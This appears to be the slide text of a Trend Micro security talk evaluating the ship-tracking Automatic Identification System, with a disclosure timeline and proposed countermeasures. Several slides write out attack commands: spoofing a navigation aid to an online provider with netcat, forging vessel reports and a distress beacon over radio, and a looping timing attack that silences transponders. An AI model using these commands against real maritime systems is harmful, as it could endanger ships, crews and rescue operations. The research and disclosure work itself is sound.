A Security Evaluation of AIS
– Automated Identification System –

Marco Balduzzi, Kyle Wilhoit
Alessandro Pasta
@ Trend Micro Research
@ Independent Researcher
Automatic Identification System

- Tracking system for vessels
  - Ship-to-ship communication
  - From/to port authorities (VTS)

- Some applications:
  - Maritime security (against piracy)
  - Collision avoidance
  - Search and Rescue Operations / Accident investigations
  - Binary messages, e.g. Weather forecasting
  - Control messages from Authorities
Required Installation since 2002

- Introduced to supplement existing safety systems, e.g. traditional radars

- Required on:
  - ANY International ship with gross tonnage of 300+
  - ALL passenger ships regardless of size

- Estimated 400,000 installations

- Expected over a million
Exchange Format

- AIS messages are exchanged in 2 forms
  - Software: Online Providers
  - Radio-frequency (VHF): 162±0.25 MHz
Online Providers

- Collect and visualize vessels information

- Data collected via:
  - Mobile Apps / Software
  - Formatted emails
  - Radio-frequency gateways deployed regionally
### Identified threats – 2 groups

- Implementation specific → AIS providers [SW]
- Protocol specific → AIS transponders [RF]

<table>
<thead>
<tr>
<th>Category</th>
<th>Threat</th>
<th>SW</th>
<th>RF</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spoofing</td>
<td>Ships</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td></td>
<td>AtoNs</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td></td>
<td>SARs</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td></td>
<td>Collisions (CPA)</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Distress Beacons</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Weather Forecasting</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td>Hijacking</td>
<td>Hijacking</td>
<td>✔</td>
<td>✔</td>
</tr>
<tr>
<td>Availability Disruption</td>
<td>Slot Starvation</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Frequency Hopping</td>
<td>✔</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Timing Attack</td>
<td>✔</td>
<td></td>
</tr>
</tbody>
</table>
AIS Application Layer

- AIVDM messages, e.g.:
  - Position reports
  - Static reports
  - Management (channel...)
  - Safety-related (SART)

- NMEA format, as GPS

  !AIVDM,1,1,,B,177KQJ5000G?tO`K>RA1wUbN0TKH,0*5C
  TAG,FRAG_,FRAG_ID,N/A,CHANNEL,PAYLOAD,[PAD],CRC
Example

- AIVDM_Encoder tool
- Ship involved in Military Operations
- MMSI 247 320162 (Italy)

```bash
$ ./AIVDM_Encoder.py --type=24 --part=B --callsign=HiTB13 --vtype=35 --vsize=20x10
$ ./AIVDM_Encoder.py --type=24 --part=B --callsign=HiTB13 --vtype=35 --vsize=20x10 | xargs -I X ./unpacker X 1 B
$ ./AIVDM_Encoder.py --type=24 --part=B --callsign=HiTB13 --vtype=35 --vsize=20x10 | xargs -I X ./unpacker X 1 A
$ 
```
Responsible Disclosure

- We did *not* interfere with existing systems
- We physically connected our testing equipment
- Harmless and testing messages

- We reached out the appropriate providers and authorities within time (Sept. 2013)
  - MarineTraffic, AisHub, VesselFinder, ShipFinder
  - ITU-R, IALA, IMO, US Coast Guards
## Software Evaluation

<table>
<thead>
<tr>
<th>Category</th>
<th>Threat</th>
<th>SW</th>
<th>RF</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Spoofing</strong></td>
<td>Ships</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>AtoNs</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>SARs</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Collisions (CPA)</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Distress Beacons</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Weather Forecasting</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Hijacking</strong></td>
<td>Hijacking</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td><strong>Availability Disruption</strong></td>
<td>Slot Starvation</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Frequency Hopping</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Timing Attack</td>
<td>✓</td>
<td>✓</td>
</tr>
</tbody>
</table>
Spoofing – Online Providers [1/2]

- Ships, AtoNs, SAR Aircrafts
- Technically easy: TCP/IP or Emails

```
$ ./AIVDM_Encoder.py -type=21 -aid_type=13
   -aid_name=LOWTIDE
   -mmsi=993381001
   -long=9.9400 -lat=45.7821
| nc -q0 -u 5.9.207.224 5322
```
Spoofing – Online Providers [2/2]

- Make a ship follow a path over time
- Programmed with Google Earth’s KML/KMZ information
Hijacking (MiTM)

- Via rogue (malicious) RF-gateway
Software-Hijacking

- “Move” a real ship – Eleanor Gordon
Popping Up in Dallas?
AIS protocol: A big mistake

- Designed in a "hardware-epoch"
- Hacking was difficult and cost expensive
- No security mindset
  - No authentication, no integrity check

- 2014: Craft AIS signals?
- Let's do it via software (SDR)!
  - Reduced costs and complexity
  - Increased flexibility
- Accessible to many. Including pirates!
- Designed and implemented a software-based AIS transmitter based on GnuRadio
Figure 4: Detail of the AIS Frame Builder block.
### Radio-Frequency Evaluation

<table>
<thead>
<tr>
<th>Category</th>
<th>Threat</th>
<th>SW</th>
<th>RF</th>
</tr>
</thead>
<tbody>
<tr>
<td>Spoofing</td>
<td>Ships</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>AtoNs</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>SARs</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Collisions (CPA)</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Distress Beacons</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Weather Forecasting</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Hijacking</td>
<td>Hijacking</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>Availability Disruption</td>
<td>Slot Starvation</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Frequency Hopping</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td></td>
<td>Timing Attack</td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>
• Attacker [SX] – Victim [DX]
Spoofing in RF

- Example: static and dynamic reports for a ship

```
$ ./AIVDM Encoder.py -type=24 -mmsi=247320160
            -vname=FOO -csign=FOO
H3co>H0Htt0000000000000000

$ ./Ais_TX.py -payload=H3co>H0Htt0000000000000000
             -channel=A

$ ./AIVDM Encoder.py -type=1 -mmsi=247320160
            -speed=100 -course=83
            -long=8.46 -lat=43.01
13co>HgP? ‘0VfQ0HW4d3?gw<0000

$ ./Ais_TX.py -payload=13co>HgP? ‘0VfQ0HW4d3?gw<0000
             -channel=A
```

![Image of EasyTRX2 Programming Tool](image)

**Figure 5:** The EasyTRX2 monitoring tool correctly interpreted our spoofed vessel.
Trigger SOS

- Fake a "man-in-the-water" distress beacon
- Trigger SART (S.O.S.) alerts, visually and acoustically
- Mandatory by legislation
- Lure a victim vessel into navigating to a hostile and attacker-controller sea space

$ ./AIVDM_Encoder.py -type=1 -mmsi=970010000 -lat=45.6910 -long=9.7235
  | xargs -I X ./Ais_TX.py -payload=X -channel=A,B

Listing 4: Distress beacon (SART) spoofing in radio-frequency.
Trigger SOS

Crafting an SOS alert
Trigger CPA alerts

- Fake a CPA alert (*Closest Point of Approach*)
- Trigger a collision warning
- Possibly alter course

\[
\begin{align*}
T_{CPA} &= -w(t_i) \cdot (S_r - S_s) \\
D_{CPA} &= |w(t_i) + T_{CPA}(S_r - S_s)|
\end{align*}
\]
Availability Disruption Threats
Frequency Hopping

- Disable AIS transponders
- Switch to **non-default frequencies** (RX/TX)
- Single or multiple target(s)

- Program a desired targeted region
  - Geographically remote region applies as well
- For example: Pirates can render a ship “invisible” upon entering Somalia
Instructing receiver to listen on another channel
Slot Starvation

- Disable AIS on a large-scale
- Impersonate port authorities to:
  - Fake a nearby base-station
  - Reserve all TDMA slots

\[
\text{2250 slots} \rightarrow 25\text{ms/slot} \\
\text{offset} = 0 \\
\text{slots} \rightarrow 5 \\
\text{timeout minutes} = \ldots X \\
\text{increment} = 0
\]
Slot Starvation

- Step 1: Base-station spoofing
Slot Starvation

- Result: Target's Console
Timing Attack

- Instruct an AIS transponder to **delay** its transmission in time
- Default broadcast time:
  - Static reports = 6 min
  - Dynamic reports = 0.5 to 3 min (depending on speed)
- Attack code:

```
$ while true; do ./AIVDM_Encoder.py -type=23 -quiet=15 -target=246100200 | xargs -I X ./AiS_TX.py -payload=X -channel=A,B; sleep 15; done
```

**Listing 1.6.** Example of availability disruption by timing attack.
AIS as Attack Vector

- AIVDM messages are exchanged and processed at application layer by back-end software
  - In VTS server installations
- Binary message, special type used for
  - Crew members, Number of passengers
  - Environment information
- Malicious payloads, e.g. BOF, SQLi, …
AIS as Attack Vector

- SQL Error in back-end processing
Tampering with GPS

• Differential Global Positioning System (D-GPS)
  – Used by port authorities to increase the precision of traditional GPS (MTs → CMs)

• Attack = Spoof D-GPS beacons to force ships into calculating a wrong “GPS position”!
  – Message 17: GNSS broadcast binary message

• Related work “UT Austin Researchers Spoof Superyacht at Sea” – Monday, 29 July 2013
Proposed Countermeasures

• **Anomaly Detection** to data collected, e.g. by VTSs
  – Detect suspicious activities, e.g. unexpected changes in vessels’ route or static information.
  – Correlate with satellite information to find incongruities
  – Works well, but does not protect against RF-specific threats

• **X.509 PKI**: Digital certificates issued by official national maritime authorities
  – Noteworthy stations' certificate (e.g., VTSs) pre-loaded via onshore installations, e.g. when a ship enters a port
  – Generic or previously unknown certificates are exchanged with nearby stations on demand (i.e., vessels in navigation)
  – Vessels with satellite Internet access can retrieve the certificates from online services.
Take Home

- *AIS is a major technology in marine safety*
- *AIS is widely used* – mandatory installation
- *AIS is broken at implementation-level*
- *AIS is broken at protocol-level*

- We hope that our work will help in raising the issue and enhancing the existing situation!
Take Home

- **AIS** is a *major technology in marine safety*
- **AIS** is *widely used* – mandatory installation
- **AIS** is broken at *implementation-level*
- **AIS** is broken at *protocol-level*

- We hope that our work will help in raising the issue and enhancing the existing situation!
Thanks!

Code available at: https://github.com/trendmicro/ais

{name.surname}@trendmicro.com | @embyte